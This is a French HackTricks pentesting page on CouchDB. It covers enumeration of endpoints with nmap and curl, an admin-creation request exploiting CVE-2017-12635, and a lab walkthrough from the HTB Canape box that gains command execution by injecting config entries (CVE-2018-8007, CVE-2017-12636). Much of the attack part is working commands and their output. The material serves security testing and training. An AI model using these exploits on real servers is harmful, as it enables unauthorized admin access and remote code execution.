hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

# 5984,6984 - Test d'intrusion CouchDB

<details>

<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## **Informations de base**

CouchDB est une base de données orientée document où chaque champ est stocké sous forme de cartes clé-valeur. Les champs peuvent être une paire clé/valeur simple, une liste ou une carte.

Chaque document stocké dans la base de données se voit attribuer un identifiant unique au niveau du document (`_id`) ainsi qu'un numéro de révision (`_rev`) pour chaque modification enregistrée dans la base de données.

**Port par défaut :** 5984(http), 6984(https)
```
PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack
```
## **Énumération Automatique**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Énumération Manuelle

### Bannière
```
curl http://IP:5984/
```
Cette action envoie une requête GET à l'instance CouchDB installée. La réponse devrait ressembler à l'une des suivantes :
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Notez que si en accédant à la racine de couchdb vous recevez un `401 Unauthorized` avec quelque chose comme ceci : `{"error":"unauthorized","reason":"Authentication required."}`, **vous ne pourrez pas accéder** à la bannière ou à tout autre point de terminaison.
{% endhint %}

### Énumération des Informations

Voici les points de terminaison où vous pouvez accéder avec une requête **GET** et extraire des informations intéressantes. Vous pouvez trouver [**plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).

* **`/_active_tasks`** Liste des tâches en cours, incluant le type de tâche, le nom, le statut et l'ID du processus.
* **`/_all_dbs`** Renvoie une liste de toutes les bases de données dans l'instance CouchDB.
* **`/_cluster_setup`** Renvoie le statut du nœud ou du cluster, selon l'assistant de configuration du cluster.
* **`/_db_updates`** Renvoie une liste de tous les événements de base de données dans l'instance CouchDB. L'existence de la base de données `_global_changes` est requise pour utiliser ce point de terminaison.
* **`/_membership`** Affiche les nœuds qui font partie du cluster en tant que `cluster_nodes`. Le champ `all_nodes` affiche tous les nœuds que ce nœud connaît, y compris ceux qui font partie du cluster.
* **`/_scheduler/jobs`** Liste des travaux de réplication. Chaque description de travail inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents, et quelques autres choses.
* **`/_scheduler/docs`** Liste des états des documents de réplication. Comprend des informations sur tous les documents, même dans les états `completed` et `failed`. Pour chaque document, il retourne l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Le point de terminaison `/_node/{node-name}` peut être utilisé pour confirmer le nom du nœud Erlang du serveur qui traite la requête. Cela est particulièrement utile lors de l'accès à `/_node/_local` pour récupérer cette information.
* **`/_node/{node-name}/_stats`** La ressource `_stats` renvoie un objet JSON contenant les statistiques pour le serveur en cours d'exécution. La chaîne littérale `_local` sert d'alias pour le nom du nœud local, donc pour toutes les URL de statistiques, `{node-name}` peut être remplacé par `_local`, pour interagir avec les statistiques du nœud local.
* **`/_node/{node-name}/_system`** La ressource \_system renvoie un objet JSON contenant diverses statistiques de niveau système pour le serveur en cours d'exécution. Vous pouvez utiliser \_`_local` comme {node-name} pour obtenir les informations du nœud actuel.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirme que le serveur est opérationnel, en cours d'exécution et prêt à répondre aux requêtes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) est `true` ou `nolb`, le point de terminaison renverra une réponse 404.
* **`/_uuids`** Demande un ou plusieurs Identifiants Universels Uniques (UUID) de l'instance CouchDB.
* **`/_reshard`** Renvoie un décompte des travaux terminés, échoués, en cours, arrêtés et le total des travaux ainsi que l'état du remaillage sur le cluster.

Plus d'informations intéressantes peuvent être extraites comme expliqué ici : [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)

### **Liste des Bases de Données**
```
curl -X GET http://IP:5984/_all_dbs
```
Si cette requête **répond avec un 401 non autorisé**, alors vous avez besoin de **crédits valides** pour accéder à la base de données :
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Afin de trouver des identifiants valides, vous pourriez **essayer de** [**forcer brutalement le service**](../generic-methodologies-and-resources/brute-force.md#couchdb).

Voici un **exemple** de **réponse** couchdb lorsque vous avez **suffisamment de privilèges** pour lister les bases de données (C'est simplement une liste de bdd) :
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informations sur la base de données

Vous pouvez obtenir certaines informations sur la base de données (comme le nombre de fichiers et les tailles) en accédant au nom de la base de données :
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Liste des documents**

Lister chaque entrée à l'intérieur d'une base de données
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Lire le document**

Lire le contenu d'un document à l'intérieur d'une base de données :
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Élévation de privilèges CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)

Grâce aux différences entre les analyseurs JSON d'Erlang et de JavaScript, vous pourriez **créer un utilisateur admin** avec les identifiants `hacktricks:hacktricks` avec la requête suivante :
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Plus d'informations sur cette vulnérabilité ici**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).

## CouchDB RCE

### Erlang Cookie

Dans la documentation de CouchDB, dans la [section de configuration du cluster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), il est question des différents ports utilisés par CouchDB :

> CouchDB en mode cluster utilise le port `5984` tout comme en mode autonome, mais il utilise également le `5986` pour les API locales aux nœuds.
>
> Erlang utilise le port TCP `4369` (EPMD) pour trouver d'autres nœuds, donc tous les serveurs doivent pouvoir communiquer entre eux sur ce port. Dans un cluster Erlang, tous les nœuds sont connectés à tous les autres nœuds. Un maillage.

Et puis il y a un avertissement intéressant :

![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)

Si nous regardons dans la liste des processus, nous pouvons voir ce cookie, “monster” :
```
www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
**Vous pouvez** [**lire cette section pour apprendre comment abuser des cookies Erlangs pour obtenir un RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\
De plus, vous pouvez lire certains **writeups de machines HTB Canape** [**comme celui-ci**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) pour voir et **pratiquer** comment **exploiter cette vulnérabilité**.

### **CVE-2018-8007 réussi avec des permissions d'écriture sur local.ini**

En écrivant cet article, j'ai découvert qu'un nouveau CVE avait été publié pour CouchDB par mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). Il nécessite également des droits d'écriture sur le fichier `local.ini`, donc ce n'est pas une option utile pour Canape. Mais puisque j'ai déjà rendu ce fichier modifiable en tant que root, voyons si nous pouvons le faire fonctionner.

Commencez avec un `local.ini` propre et désormais modifiable (et une sauvegarde) :
```
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args
```
Nous pouvons utiliser curl pour modifier les origines dans le fichier `local.ini`. La vulnérabilité ici est que si nous utilisons curl pour ajouter une nouvelle origine et ensuite des nouvelles lignes, nous pouvons écrire des informations supplémentaires, y compris un nouvel en-tête et des détails. Nous allons donc tirer parti du champ `[os_daemons]`, et ajouter un processus que CouchDB essaiera de maintenir en fonctionnement :
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Dans le shell root, nous pouvons voir les modifications :
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Et pourtant, le fichier n'est pas là :
```
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
Si nous examinons les processus en cours avec "couchdb" dans la cmdline, nous voyons non seulement la ligne de commande qui nous donne la valeur du cookie que nous avons utilisée plus tôt, mais aussi `runsrv couchdb` :
```
root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
Si nous tuons ce processus, il redémarre immédiatement (remarquez le nouveau pid) :
```
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv
```
Et, au redémarrage, exécute les OS\_Daemons :
```
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
### **Tentative réussie via CVE-2017-12636 avec des permissions d'écriture sur local.ini**

CVE-2017-12636 permet l'exécution de code via le processus couchdb. Cependant, cela ne fonctionnera pas dans cette configuration.

Il existe quelques POCs en référence :

* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)

Nous devrions écrire un nouveau query\_server, puis l'invoquer. Lorsque Canape a été publié, la plupart des POCs étaient pour couchdb 1.x, mais cette box fonctionne sous la version 2, donc le chemin des query\_servers de la plupart des POCs n'existe pas. Cela a changé maintenant, mais nous allons suivre les mêmes étapes. D'abord, obtenir la version, et montrer que le chemin 1.X n'existe pas :
```bash
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
```
Mise à jour avec le nouveau chemin pour 2.0 :
```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
À partir de là, nous devrions ajouter un query\_server puis l'invoquer, mais nous ne le pouvons pas.
```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
Une recherche sur Google indique que c'est un problème de permissions. En effet, si nous vérifions avec notre shell root, nous pouvons voir que le fichier `local.ini` n'est modifiable par personne, encore moins par www-data :
```
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
Donc, c'est une impasse pour Canape. Mais si nous voulons essayer de le faire fonctionner, nous pouvons le rendre lisible avec notre accès root ou homer, et continuer sur cette voie. Nous ferons une sauvegarde de l'original pour pouvoir voir les changements :
```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
Maintenant, revenons à notre shell www-data :
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```

```
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
Nous récupérons la valeur précédente pour le serveur de requête cmd, ce qui signifie que c'est un succès. Et dans le shell root, nous pouvons voir que cela a fonctionné :
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
```
Maintenant, nous devrions être en mesure de créer une base de données (db), puis un document dans cette db, et ensuite le requêter avec une vue qui mappe notre query_server pour obtenir l'exécution.

Créer la db et le document :
```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```

```
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
Demandez-le dans une vue :
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
```
#### [Résumé](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) avec un payload différent

## Shodan

* `port:5984 couchdb`

## Références

* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>